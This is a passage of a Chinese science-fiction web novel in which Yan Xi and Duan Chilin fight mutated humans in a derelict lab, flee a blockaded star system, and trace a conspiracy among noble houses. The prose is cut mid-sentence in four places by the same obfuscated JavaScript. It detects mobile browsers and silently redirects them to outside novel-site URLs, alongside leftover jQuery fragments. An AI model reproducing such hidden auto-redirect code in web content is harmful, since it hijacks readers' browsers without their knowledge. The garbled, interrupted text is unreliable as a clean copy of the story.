“不应该啊，”颜惜嘟囔，“辐射主星当年早就把能源断掉了，但现在过去了十年实验室都还有电力，那说明这里应该有自主循环发电系统？” 颜惜在周遭什么都没摸到，只好打开了光脑的照明。 映入眼帘的是数十个略小于外面的竖桶状的培育仪器，里面漂浮着畸变人，仪器上面都盘着弯弯扭扭、粗粗细细的管子，像是人类的肠道，运输着不知道是废物还是养料的东西。大多数仪器似乎都还在运作，而有一半培育仪器已经破裂，里边的畸变人不知所踪。 “考场上那几个畸变人都是从这里溜出去的？”颜惜明白了，“然后误打误撞找到了离开的空间门？” 据颜惜所知，主星通往附属星球的空间门一般都在星球中心地带，距离这里也不远。可惜辐射主星链接辐射赛场的空间门那端已经被毁掉了，连带着这一条空间门跃迁路线都废掉了，因此也只能断送了从这一条路离开的可能。 “等等！”段迟凛突然出声，拦住了想要继续往里走的颜惜，“别走了。” 碎裂声从四周此起彼伏地响了起来，那一整排的培养仪器的玻璃上全部出现了细细碎碎的裂纹，绿色的营养液体从裂纹里面渗了出来，滴滴答答的营养液随着裂缝的增大逐渐喷涌而出。 颜惜骂了一句星际脏话。这里太久没人来，再加上辐射让这些仪器变得无比脆弱，刚才颜惜乍一下打开了所有电源，突如其来的通电加剧了仪器的老化，现在所有外壁上都出现了开裂。 她想要往回退，但发现那边地势更低，营养液都先流向了那边，于是她顺势往走道的尽头奔去。 “咔”，第一个培养仪器彻底碎了，里面的那个畸变人失去了营养液的浮力支撑，随着营养液的水流掉到了地上，软趴趴地瘫在那里。 颜惜和段迟凛快要跑到走道的尽头了，她余光扫向那个瘫在地上的畸变人，突然发现那个畸变人震颤了一下。 她加快了脚步，奔向尽头的检验门。 那道门似乎并不需要验证，但是是打开最麻烦的气压阀门，里边一般都储存着精密仪器，需要打开门的人先将内部气压调整到和外部一样才能够打开。 颜惜飞速打开光脑，开始检测目前外部环境的气压。 还没等她检测出结果，就听到了身后传来乱七八糟的脚步声与向她袭来的风声。 颜惜猛地转头，抽出剑，精神力附在剑上，死死扛下了身后畸变人袭来的一击。 “快去开门！”颜惜朝段迟凛吼道，左脚死死蹬在地上，抬起右脚发力把眼前的畸变人踹了出去。 畸变人被她踹得退了好几步，后背狠狠砸在了另一个培养仪的透明外壳上，加剧了那个培养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385491|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪的碎裂程度。哪怕没有外力干预的其他几个培养仪器也裂地更厉害了。 “咔。”又是一个培养仪器碎掉的声音。 颜惜都没有说话的时间了，那个畸变人已经丧失了理智，看起来根本不能正常交流沟通，听到了活物发出来的声响，就不顾一切地往上扑来。 段迟凛懂她的意思，马上把检测出来的气压数据输入了门后的仪器上。 “正在为您减压中——预计时间十五分钟。” 他拔出自己的惯用刀，面向冲过来的畸变人，横在这扇门前。 整个走道里所有的培养皿都碎掉了，畸变人一个接着一个地站了起来。颜惜数了数，总共有十二个。这还不算已经碎裂掉的逃离出去的畸变人的数量。 颜惜预估他们的精神力数值都在90左右，相当惊人，因为拿到帝国中央星最强的五大名校里的顶尖班，高于90点精神力的学生密度都没那么高。 他们的精神力数值高，体型同样也大，一个爆冲过来能把颜惜撞得一踉跄。 颜惜回想起莱塔诺博士的日记，确认了手腕的连接处是他们的薄弱点。她面对着冲上来的畸变人，一剑劈开一个人的手腕。 被分开后的畸变人果然精神力数值大幅下降，颜惜预估他们从90点左右掉了5个点。之前在赛场上她站得有些远，直到这种近距离接触她才看清，被她砍落的畸变人手腕连接处掉出来的除了人造骨骼和人造肌肉，还有几个小小的支架与钢钉。 被分开后的畸变人很好处理，没有精神力加持，再加上没有智商，颜惜迅速就能将他们斩杀。 还没等颜惜松了一口气，后面的另外几个畸变人又涌了上来。 颜惜侧过身躲开一只畸变人，回头反手一剑扫了过去，劈开了那个畸变人四个连在一起的手腕，趁着它们行动迟缓的时候将剑送进它们的胸膛里。 站在门前的段迟凛也解决了两只畸变人。 可畸变人的数量实在太多，其中一个明显强壮的畸变人在颜惜躲避其他畸变人的攻击时猛得拽起颜惜，将她扔了出去。 颜惜的后背狠狠地撞到了身后的培养仪上，头顶的碎片伴随着撞击的震荡哗啦啦地往下掉，细碎的裂片割伤了颜惜的脸和裸露在外边的手臂，细小的血珠渗了出来，顺着她脸颊的弧度滚了下来。 颜惜像是没有痛觉一般，撑着一地的碎片碴子站起了身。 她双手握住剑柄，任由鲜血染红了剑柄末端的鸢尾花。 所有精神力被颜惜灌进了手里的那柄青色的剑里，剑身都发出了隐隐的嗡鸣。与此同时挥剑的速度提高到了不可思议的速度。 颜惜抬手劈向了前面那个畸变人。 “哧”，是剑锋划过皮肉的声音，最靠近颜惜的那个畸变人并排在一起的四个脑袋同时被颜惜切下，剑风扫到了后面两个畸变人，也同时倒在了这一剑之下。 颜惜叹了口气。在知道这些畸变人原先其实也都是正常人后，颜惜其实不太想动手。 可是……她垂下了眼睛。 “可是，我更想活着。我要做的事情还没有做完。” “抱歉。” 21. 一个要求 走道尽头的的那扇门终于打开了。 与此同时畸变人也被处理得七七八八。 颜惜看着一地的残块——那些甚至都称不上尸体——她拿出湿巾擦干净了剑上的血渍，将剑收回自己的手镯里，转过身去不愿再看。 她想起了刚才在前面实验室里看到的记录。 莱塔诺博士在最后一篇日志里记录下了畸变人是由正常人改造而成。而那些人，据莱塔诺博士的调查，并非自愿成为志愿者，而是这个实验室的持有者使用非法手段从一些偏僻的、荒芜的星球上收罗而来。 “他们都是计划的无辜受害者。”莱塔诺博士写道，“很是抱歉，我也成了加害者之一。现在，我要去赎罪了。” 颜惜垂下眼睛。她猜到了莱塔诺是谁，也知道了她的结局。 莱塔诺博士在日志里写道，她将所有这个实验室里的罪恶全部记录在了附在日志最后的加密链接里。可惜这些证据随着莱塔诺和哈维的失踪而湮没于世十多年，没能成功地公布于世间，也没有第二个人找到它们。直到现在，静静地躺在颜惜光脑侧边的那个小小芯片里。 时间太短，颜惜没能解开那个加密链接，但显然这一墙的畸变人就是最直观的证据之一。 段迟凛站在走到尽头的门前看着她，也好半晌没有说话。 颜惜不知道段迟凛又知道多少，两人只是无言地将脚下所有畸变人的尸体全部聚拢到一起。那些骨骼和肌肉早在十多年的岁月里被侵蚀地七七八八，营养液也只是维持了它们的生命体征。颜惜把它们全都放在大块的碎裂的容器的外壳上，而后放到了走道唯一一个还算完好的容器里。 轻轻的，好像这些死的不明不白的人的一生。 颜惜没再看。她抬脚走进了身后的那扇门里。 液压阀门一般是为了给一些精度高物品提供长期存储条件，使它们不被外界腐蚀、风化影响精度。 颜惜看向门内。 门内的空间大得超乎她的想象——那居然是一整个地下停机坪。停机坪上面划了两块区域，一块区域上面停放着小型穿梭类舰船，这类舰船可以用于星系之间的穿梭与跃迁。 另一块区域上按理来说也会停着一艘一模一样的小型穿梭舰船，但是那上面空空如也。 “有人在星系封锁以后来过？还是这人在星系封锁前乘坐穿梭舰船离开了？”颜惜疑惑道。 段迟凛摇摇头：“辐射星系的封锁线没那么容易能够突破。整个星系的封锁是将除了外围区域以外的主星和卫星全部使用人造星环环绕起来。这种人造星环会逐年收缩，最后挤压整个星系，逼迫它们消失。这种特性，会让小型穿梭舰根本没有能力飞跃出星系，连空间门都几乎无法正常使用。” “那为什么我们被传送到了这里。”颜惜发现了bug，“之前赛场上北部地区以前确实存在过一个空间门，但赛场上南部地区的污染湖里会突然出现空间门？还不偏不倚，正好在我们脚下？” 段迟凛沉默了。 “颜惜，”好半晌，段迟凛开口了，“你知不知道，如果精神力到达一个临界值以后，可以人为开启短时间的空间门？” *** “短时间的空间门？”海莲娜震惊地望着眼前的女人，她将海莲娜带到了一间空的教室里，给她看了一份研究文献。 “这怎么可能？”海莲娜摇了摇头，“这不合理。我做过精神力研究项目，我知道精神力达到一定的临界值以后可以不需要交□□直接与外物进行反应，但是绝不可能徒手造空间门！” 眼前的女人看了看她，笑了笑。 “跃迁能成功，不过是依赖了虫洞。而空间门本质上也只不过是人们将虫洞移植到了固定的地方，取了个好听的名字罢了。”眼前的人随手拉过一把椅子坐了下来，她长长的风衣下摆垂落到了地上，但她似乎根本没注意到，脸上笑盈盈的，“那，如果有个人随身携带着小型虫洞呢？” 海莲娜没说话，继续看着自己笔记板上的那篇文献。文献中明确地指出，这个精神力临界值很有可能就是95点。 翻到了最后，论文的署名那栏赫然是她的导师——池絮安。 “如果有人随身携带着小型虫洞……”海莲娜喃喃道，“那么！颜惜她进入了临时的空间门？然后去到了一个失去了信号的地方？” “对。”眼前的人手肘撑在椅子扶手上，打了个响指，“现在，你只需要想一想，和颜惜呆在一起的人，有谁是精神力高于95点的了。” “你怎么会知道这些？”海莲娜抬起头，问道。 “哦，忘了还没对你做自我介绍。”眼前的人站起了身，向她伸出了手。 “你好，我叫顾闻笛。目前顾家的第一继承人。” *** “所以你是说，只要精神力达到95点以上，就可以制造空间门？”颜惜沉声问道，“而这个秘密，目前只有皇室和少数人知道？” 段迟凛点头。 “但是这种方法制造的空间门有一个弊端，只能进行短途穿梭。如果穿梭另一端的落点是在没有任何保护的太空里……那就是思路一条。”段迟凛说道，“格鲁吉亚他们做的局，将空间门设置在南部的污染湖里，还特意缩短了穿梭的距离，想要我直接死在太空里。” 颜惜终于知道传送到主星中途的那次震荡是怎么回事。 “所以中间是你再次进行了开启空间门，这才传送到了主星上？”颜惜问。 段迟凛默认了。 “但你没法再次开启临时空间门，再回到赛场上，因为人造星环抑制了跃迁。”颜惜明白了。 “那就可以解释了。”颜惜突然想起了什么，喃喃道。 段迟凛想问她解释什么，但她只是摇了摇头，往那艘小型穿梭舰上走了过去。 这艘小型穿梭舰船内部空间大约有十平米，里面光洁如新，像是被制造出来以后根本没有被使用过。颜惜打开中控台上的总开关，整艘沉寂许久的穿梭舰内部的自循环电源被启动，冷白色灯光照亮了整个舰舱。 “小型穿梭舰上有星图，还有航行日志！”颜惜巡视一圈后从舱门里探出脑袋，对段迟凛说。 她在操作屏幕上点开航行日志，发现这艘穿梭舰是和另一台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15396437|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿梭舰进行了同步的——日志显示另一艘穿梭舰的最后离开时间是在人造星环封锁之后！这说明有人在封锁星系后离开过！ “段迟凛！快来！”颜惜再次催促他。 她再往下划，还发现了星图上另一艘穿梭舰的轨迹。那艘船行进路线十分诡异，但那条歪歪扭扭的航线居然真的通过了人造封锁星环，到达了辐射星系的外域。星环里有通道！ 段迟凛也看到了，两人目光对上。 “试试！” *** 颜惜仔细检查了燃料舱，确保这艘舰船在太空航行时拥有充足的能源。她打开能量储存箱，发现里边居然是满的，像是根本没有被使用过。 段迟凛去检查舰船的一些零件是否有松动，此时不在船舱内。 颜惜合上盖子。冷白色灯光下，整个船舱空空荡荡。 不过一会儿段迟凛上来了：“没有任何问题。可以出发了。” 穿梭舰启动时的声音巨大，不过一会儿舰船就顺着轨道发射了出去，没过一会儿地面上的大楼、平房和早被辐射摧毁了的树木就逐渐变小，最后在视窗里看不到了。 颜惜给穿梭舰设置了按照那条同步舰船离开时的路线。 不过一会儿穿梭舰就贴近了人造星环。 橘红色的巨大星环遥遥挂在远处，颜惜趴在环绕开放式的视窗边，看着辐射星系的那几颗星球排列在黑暗的太空里，而后窗外的逐渐从暗色被亮橘色的星环占据了视窗的所有视野。 穿过星环时整艘穿梭舰发出了巨大的震颤感，目之所及的所有东西都发出了骇人的抖动感。 颜惜闭上眼。 害怕死亡的本能让她联想到了葬身在太空里的最坏的结果，但是这段短暂的震颤马上就过去了。 亮橙色的星环被甩在了身后。 颜惜睁开眼。 窗外是寂静一片的暗色的太空，远处隐隐约约有几颗星球点缀在这片巨大的暗黑色幕布上。 穿梭舰驶出了辐射星球，目的地是中央星。 颜惜看了看自己被海莲娜打爆了的通讯，给她报了个平安，而后脑袋枕在视窗上，看着窗外的星海，开始发呆。 颜惜思维发散，不知为何，莱塔诺博士给那个最巨大的培养皿里的畸变人拍的照片，总给她一种眼熟的感觉。里面有一张脸，给她一种似曾相识的感觉。 “颜惜。”段迟凛在她身后幽幽开口，“你在主星上斩杀畸变人的时候，根本不像是刚接触精神力武器的新手。” “是吗？”颜惜从自己的思绪里抽了出来，回答道，“那可能是我天赋异禀？” 段迟凛知道她不想告诉自己。 “算了，”他说，“你是被我连累的。抱歉，如果不是因为我，你也不至于被拖到辐射主星上。” “那你没有致歉礼吗？作为补偿？”果不其然，如段迟凛所料，颜惜开始顺杆子往上爬。 “你提。” “你得答应我一个要求，内容我还没想好。”颜惜晃了晃手指，眼看着段迟凛就要拒绝，马上补充道，“不会损害你的利益的要求，如何？” 22. 身世揭秘 穿梭舰降落在中央星的三环卫星朝露星的外来星舰停泊港口里。 舰船从外来星系去往中央星星系，需要繁琐的流程，以确保中央星系的治安稳定。中央星的大多数卫星都需要提前一到三天申请入星许可，至于中央星本星，则需要提早至少一周申报飞行舰船的型号以及携带的所有物品。 拥有中央星身份认证的居民倒是可以随时进入中央星以及星系内，但显然颜惜和段迟凛是乘坐着穿梭舰这种在需要审核入境的名单里的星际航行舰船，因此只能停在三环外检查较为宽松的朝露星上，再乘坐星系内穿梭轨道回到中央星。 到了卫星上，颜惜自然要和段迟凛分道扬镳。 临下飞船前，颜惜扶着舱门口的把手，转头问段迟凛：“你打算怎么处理格鲁吉亚？先说好，我不会替你作证的。” “我知道。”段迟凛说。 这趟不算愉快的旅程似乎让他平和了许多，不再总是纠结于颜惜在这么多势力范围内当墙头草的事，也让他坦诚了那么一点点。 “顾闻远和季宴可没看到是格鲁吉亚动的手。”颜惜卷着长发的发尾，“她的小手枪配备了消音设施，估计他们两个人连枪声也没听到。” 真是聪明啊，颜惜心想，如果段迟凛精神力没能达到95点以上，没能成功开启二段空间门，那么他必死无疑。如果按照她原来的计划，段迟凛踏进了北部山脉的那个空间门，而后空间门被截断，那到时候哪怕找到了尸体也只能鉴定为是死于意外，谁又能找得到真凶呢。 就像…… 就像顾嘉和覆灭整支星云第七小队的那场空间门事故一样，又有谁找的到真凶呢。 所有人都只愿意相信他们看到的东西。 颜惜没继续想下去。 颜惜倒是很乐意见到他们几个人互相给对方使绊子的场面，她下定决心再也不掺和到这些人里边，以免再次危及自己。 “算了。”颜惜没耐心听段迟凛说自己要怎么报复回去，径直走下穿梭舰，在光脑上给自己换了张仿真面具，前往港口的公共交通站点。 或许是新捏的这张脸看起来太有从荒芜星偏僻星刚进中央星环的无知纯良气息，刚出星港她就被一群揽客的二道贩子拦住了。 “是想要前往中央星吗？”立马有人向她推销道，“我这边有可以去中央星以及一级星环内所有星的临时身份，只需要9999星币，保障你一周以内畅行整个中央星……” 颜惜侧过身直接从这堆人群里挤了出去。 前方有个人顶着一张星际大众脸在人群里鬼鬼祟祟地东张西望，不知道在找谁。可惜那一头张扬的艳红色大波浪早就暴露了她的身份。 “海莲娜！”颜惜洋溢着人畜无害的笑脸走上去抓住了她，前后晃了几下，“听说你很担心我？” “真是难得啊！心硬如铁的海莲娜听说我死里逃生后居然纡尊降贵前来三环迎接我！” 海莲娜被她晃得有点站不稳。 听到她这番无良话语后更是气得悔不当初。 她就知道！为颜惜流的每一滴眼泪都是白流的！ “所以是谁动的手？”寒暄结束，海莲娜压低声音问她，“格鲁吉亚？戴勒？还是……段迟凛？” “唔，你猜？”颜惜说，“不过，我倒是没想到你会猜是段迟凛。虽然我对他来说确实是个阻碍，但他肯定不会用这么激烈的有关人命的手段。” 海莲娜摇了摇头，带着颜惜走上了她的私人可在星域内航行的飞行器。 “我虽然不算正经的康特家和巴恩斯家的继承人，”她说，“但之前我母亲在和她的姐姐通讯时，我偷听了一点。” “他们早就怀疑段迟凛的精神力也是谎报的。”海莲娜说道。 “原来如此。”颜惜明白了。格鲁吉亚这手是正也行反也行，怎么不算准备充分呢。如果段迟凛真的如他们希望的一般死在太空里那是最佳结局，如果他回来了，那就证明他精神力也在95点以上，也不算毫无收获。 颜惜想起了当时安德鲁给她的那个检测仪，让她去检测段迟凛的精神力。 颜惜冷笑。 幸好她留了一手，把最后的那个检测结果调的不上不下，刚好卡在94到95之间，一点点误差，还可以推到机子老旧、刻度不准上，而且她特意把刻度针扭歪了一点。 安德鲁这老东西还非得做两手准备。 “不过这一趟倒不是没有任何收获。”颜惜挑了一个靠窗的位置坐下，接过海莲娜递给她的清洁湿巾擦着头发。 “拿到了什么？”海莲娜随口问道。 颜惜示意她把所有光脑屏蔽程序打开来。而后把她在实验室里找到的那些东西全部空投给了海莲娜。 “那些数据我看不懂。后面还有一个我打不开的隐藏链接。”她说，“但你的话，一定可以。” 海莲娜打开实验日志和数据，一目十行地往下看，在看到实验室里的两位管理员的名字时就愣住了。 “毕竟……”颜惜盯着她，“那是你妈妈最后的手稿吧。” “莉薇。” *** 段迟凛一路快步走到皇宫的中庭，这才慢下脚步。 他不像颜惜一样有人来接，直接开启了加急权限，通过空间门跃迁到了中央星的皇宫中的空间门。 皇宫占地面积很大，议事厅之类的公共事务厅都在前庭，而后.庭则由花园和居住的宫室组成。 中庭是仿古风格，建造着隔断前后.庭的巨大廊厅，廊厅的柱子都雕刻成了爱奥尼柱式，段迟凛盯着顶端上雕刻着的花纹看了一会儿，叹了口气，这才走进了后.庭。 花园正中央摆着一张圆桌，圆桌后就是一个圆形小凉亭。 圆桌边坐着一男一女，两人看起来年岁相仿，此时正在沏茶。女人穿着很休闲，是中央星里所有中年职场女性都会打扮的知性风。而坐在她对面的男人则穿着象征帝国的制式服装，立领笔挺，没有一丝褶皱。 上好的红茶，泡上两泡刚刚好，热汽从茶壶弯弯斜斜的茶嘴里冒了出来，而后散逸在空气里。 坐在桌边的两人除了泡茶再没有别的动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403755|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，沉默笼罩了整个只有他们三个人的花园。 “母亲，父亲。”段迟凛走上前，问候道。 “坐吧。”女人余光看到了他，朝他点点头，示意他坐在一边的另一把扶手椅上。 段迟凛简单地复述了一下辐射考场上的事，但复述过程中，他莫名好心地帮颜惜瞒掉了她会使用精神力武器的事。等他反应过来的时候，他都不明白自己这么说的目的。 “议会的心思是该收收了。”女人叹了口气，说道，“偷偷藏了两个95点精神力以上的小孩，能藏这么多年，也算他们运气好。” “背靠着康特和以前的幻机科技，野心和胃口倒是越来越大了。”女人继续用她那平淡无波的语调说道，“或许，一开始不应该放任他们的。” “顾嘉要是还在……”女人顿了顿，“算了，提死人干什么呢。” 整个过程中那个男人一句未发。 “你想做什么就做吧。”女人漫不经心地撂下话，“不用再来请示我。你也到了按自己的想法行事的年纪了。” 段迟凛在他的母亲离开后也沉默地回到了自己的房间。 他给自己的属下下了一条命令。 “去把康特家所有实验室全部以安全检查的名义检查搜素一遍。” “顺便，格林联赛的个人赛马上就要开场了，记得提醒林璀中将到场参与评审，我倒要看看这对姐弟，究竟有几斤几两。” *** 颜惜在长老院门口下了飞行器，把私人空间留给身后的海莲娜。 斜阳恰恰将最后一丝桔红色的余晖投在了长老院的外墙上，斜阳把高耸的塔尖点亮，暗灰褐色的墙都显得没那么阴沉。 长老院的建筑都有变化的时刻。可里面的人明明是活物，却一成不变，心气极高却又迂腐顽固。要不是有必须要来的理由，她真的没有再次踏进这个地方的欲望。 门口的瞳孔识别判定了她通过，“吱呀”一声，镂空的黑色铁门缓缓对她打开。 颜惜轻叹了口气，走过长长的两边栽种着绿植的步道，直到尽头，顺着大理石石阶走了上去，停在最高的那个平台之上，停顿了好半晌，这才伸手推开了那扇黑铁做的厚重的大门，缓缓走进大厅之中。 “小惜？”大长老道格拉斯看到了她，站起身来，“你回来了？” 颜惜恭敬地行了一礼，低着头，余光四顾没找到她想要找的人，在心底暗骂一声。 “怎么了这是？”果不其然，坐在大厅另一侧的长老院理事主席安德鲁·康特和副主席陈修文闻声相继走了过来。 “没什么。”颜惜笑笑，“刚好结束联赛，我过来看看。” 安德鲁似乎是已经知道了赛场上发生的事，朝她使了个颜色。 颜惜今天来不想跟他掰扯，于是恰巧地歪头装作没看到他的眼神，继续和其他两人东拉西扯。 终于，一道明艳亮丽的女声从楼梯上传来，打断了他们的唠嗑，结束了颜惜的尬聊，让颜惜暗暗松了口气。 “哟，是你啊，颜惜。可真是稀客。” 23. 白日做梦 颜惜抬起头，便看见倚在台阶栏杆上的人。她一头铂金色的齐腰柔顺长发，墨绿色眼睛，五官明艳大气，像是古代宫廷仕女画里走出来的一样。穿着一身黑色修身长裙，将她的腰线勾勒的极美，看上去三十岁出头。 这位就是长老院另一位副主席——康娜·德里。 抛开别的不说，在整个一潭死水的长老院里，颜惜最喜欢康娜。 首先康娜长得很漂亮，颜惜是颜狗，她特别喜欢康娜这种古典的骨相美人。 其次，她本人性格很有意思，没有什么特别上心的事情，唯一的爱好就是去酒吧、夜店里找乐子，性别倒是没卡的很死，但从来不愿意进入一段稳定的关系中。颜惜很欣赏她这种玩世不恭的态度，和长老院的其他老古板们没有任何相似之处。但就是这么个与长老院总体氛围格格不入的奇人，居然常年稳坐长老院四大长老的位置，手握长老院的至高权柄，甚至其他三位长老都不太敢和她对着干。 无他，因为康娜·德里手里是一整套完整的精神力接触式武.器的铸造方法，她本人是个极其优秀的武.器锻造师，在格林平台的武.器锻造板块开设的评选当代锻造大师里是当之无愧的第一。尽管她本人对铸造并不是十分上心，但是她那惊为天人的锻造天赋便足够她稳坐帝国第一铸造师的交椅。颜惜的那柄精神力接触式轻剑就是她送的成人礼物。 星际时代，精神力出现之后，精神力接触式武.器成为了比热兵.器更具有杀伤力的杀.器。 而这种锻造方式只掌握在少数几家的手中，其中以德里家的质量最为高，而康娜更是德里家中的佼佼者。 因而康娜.德里是各方势力都想招揽的对象。可是她本人没有什么过高的志向，因此她自从20岁继承了她老爹留下来的长老院四大长老的位置后，就开始了花天酒地的风流生涯。 “走了，去我工作室。”她走下台阶，一把揽住颜惜，就往长老院另一个方向带。 *** 康娜·德里的工作室位于整个长老院宫殿群的西南角。 这里草木葳蕤，葱茏到疯狂生长的枝桠密密麻麻地切割这本来就为数不多的天空。 在一片花海与树木掩映之间，有一座圆柱形的石屋，石屋下方开着一扇小小的门，门上方有着一扇彩色玻璃的百叶窗，整座建筑爬满了常春藤与爬山虎的藤蔓。 这就是康娜·德里的工作室，亦是无数著名的刀剑的诞生地。 康娜·德里缓步走上前，门上的瞳孔自动扫描锁，立刻通过了身份验证，咔哒一声，大门自动打开。 她回头，示意颜惜跟上。 颜惜也不是第一次来她的工作室，因此便熟门熟路的跟上了她的脚步。 工作室其实面积很大，但由于各种各样的储存材料的收纳盒与收纳柜占据了太多地方，因此整个工作室显得极为狭窄。颜惜粗粗扫了一圈，发现一楼只放置了两张堆满各类书籍和稿纸的书桌。 “制作室呢？”颜惜转头好奇地问康娜，“上次来还是在这里的。” “制作室和调试室都搬到二楼去了。”康娜指着工作室角落里的一架木制旋转扶梯对颜惜解释到，“现在一楼只有材料和各类书籍文献档案。” 大概是听到了她的声音，那张堆满了书的书桌后伸出了一个脑袋，一头淡到近乎是白色的铂金色卷毛耷在脑袋上，鼻梁上架着的厚厚眼镜随着他的动作滑了下来，露出一张有点白的过分的脸和一双让人看过就会影响深刻的靛蓝色眼睛——帝国很少有人拥有这种瞳色。看到颜惜时，他眨了眨眼睛。 “你好啊，曼诺！”颜惜和他打招呼。 “好久不见，颜惜。”那个被称为“曼诺”的少年扶了扶眼镜，将它推回原来的位置。“听说你被拉去和那帮头脑发达四肢简单的人打架去了？” “你消息太滞后了。”颜惜鄙夷道。 曼诺是康娜的学徒兼助手之一，因为他身上携带着罕见的白化病基因，因此被遗弃在中央星酒吧一条街的后巷垃圾桶里，康娜当时刚好醉醺醺地从后门走了出来，在一滩污水里发现了曼诺，于是带了回来，于是曼诺就在长老院康娜的工作室里长大。 曼诺算是颜惜在长老院里唯一的好友，颜惜当年十五岁刚来中央星，什么也不知道，被其他所有的长老和他们座下的弟子嫌弃，也只有同龄的曼诺愿意和她一起玩。 只不过如今曼诺在中央星五大校之一的科技研究院半工半读，这所学校和颜惜的学校距离很远，两人见面的时间也少了很多。 “找我什么事？”康娜随手抄起工作室角落里丢着的酒精饮料，拉开拉环，仰着头喝了一口，“送你的那柄剑终于用上了？感觉如何？还是说被你短短时间里用坏了，找我来修？” “不是。”颜惜微微晃了晃脑袋，她描述了一下自己在辐射主星上看到的那块巨大的白云晶，然后将自己拍的实验室里的照片递给她们师徒二人看，“能不能帮我查一查到底需要多强大的力度才能打碎？我还想知道买家到底是谁，这种体量的白云晶，应该也不难查到吧？” “嗯？”康娜来了兴趣，“品质怎么样？白云晶的精度差异也会影响它的硬度。” 颜惜掏出她当时在实验室里趁乱偷偷藏起来的碎片，递给康娜。 康娜把那块白云晶放到检验仪器下，迅速地调整了几下仪器参数，不过一分钟，仪器就发出了检验完毕的提示音。 “纯度居然有97%。”康娜挑了挑眉，“好东西啊。” “我想起来了。”康娜说道，“十三年前，似乎有一批高精度白云晶从黑岩星系开采出来，由路家主持开采。至于卖家，我倒不是很清楚了。” “路家。”颜惜思考了一下，“路家主家是不是在那几年中途有过一些变故？我印象里，他们的继承人中途似乎失踪过一段时间。” “是啊。”曼诺回答道，“不过这消息被压了下来，只在小范围内流传，颜惜你当年在荒星，又怎么知道这些？” 颜惜没回答，转头翻进了星网暗网，翻起了那几年地上交易所和地下交易所的所有交易记录。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416418|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒是康娜笑了笑。 “颜惜要是真是荒星长大的就好了。”她意味不明地说，“不然，也不至于有这么多的烦恼。” 颜惜没理会她们的对话，一路找着大额交易。 终于在一个犄角旮旯的网站里，颜惜找到了一笔数额巨大上亿的矿产交易。 颜惜看向交易人的名字——路易·巴恩斯。 *** “你回来了？”季宴听见寝室开门的声音，抬头见到是颜惜，“你没事就好！” 她身上还穿着那件看起来有几分脏污的作战服，但是头发被束了起来，人看上去兴致不高。 “嗯。”颜惜回到道，“运气好，不知道怎么就掉到了辐射主星上，在那里找到了一艘穿梭舰，居然还能回来。” 季宴看着她似乎有几分欲言又止。 颜惜只是冲她笑笑，然后回到自己的房间，洗漱了一番以后这才走了出去。 “下一周就是个人赛。”季宴说，“个人赛和团队赛各占总分的50%，据说这届个人赛还邀请了林璀中将前来当评委。” “林璀？”颜惜觉得这个名字很熟悉。“她是谁？” “北部防线的第一负责人，军部的一把手，也是目前帝国里军衔最高的将军。”季宴给她科普道，“自从顾嘉元帅和颜拾雨上将去世以后，帝国就再也没有出过第二个元帅了。她是在顾嘉去世以后才进入的军部，这几年升职和坐火箭一样快，皇室和议会都忙着拉拢她，但她本人的态度不明，对哪方都没有拒绝。” 季宴调出林璀的半身军装照给颜惜看，照片里的女人一头干练短发，眼神里有一股狠劲，她穿着笔挺的军装，肩章上有着两颗代表着军衔的星星。她的左手裸露在外，但右手却带上了黑色的军制手套。 颜惜终于明白那种眼熟感自何而来。自己在那场悼念会上见过她，她当时似乎就站在自己身后。原来是她。原来是她。 季宴注意到颜惜的眼神落在林璀的右手手套上，于是主动解释：“林璀上将出身贫寒，早年间为了生计奔波，去荒星工厂里打黑工，右手不小心卷进了机器里被锯成了残疾，无良老板不愿意赔偿，无可奈何之下，她这才冒死加入了当时几乎是去送命的打击星盗的先遣队，而后一战成名，之后才装上了机械手。” “也是不容易。”颜惜附和道。 “个人赛不是一对一么，”颜惜问道，“那林璀中将就是来了，除了欣赏输家的丑态和赢家的胜利，也没什么别的作用了吧？” 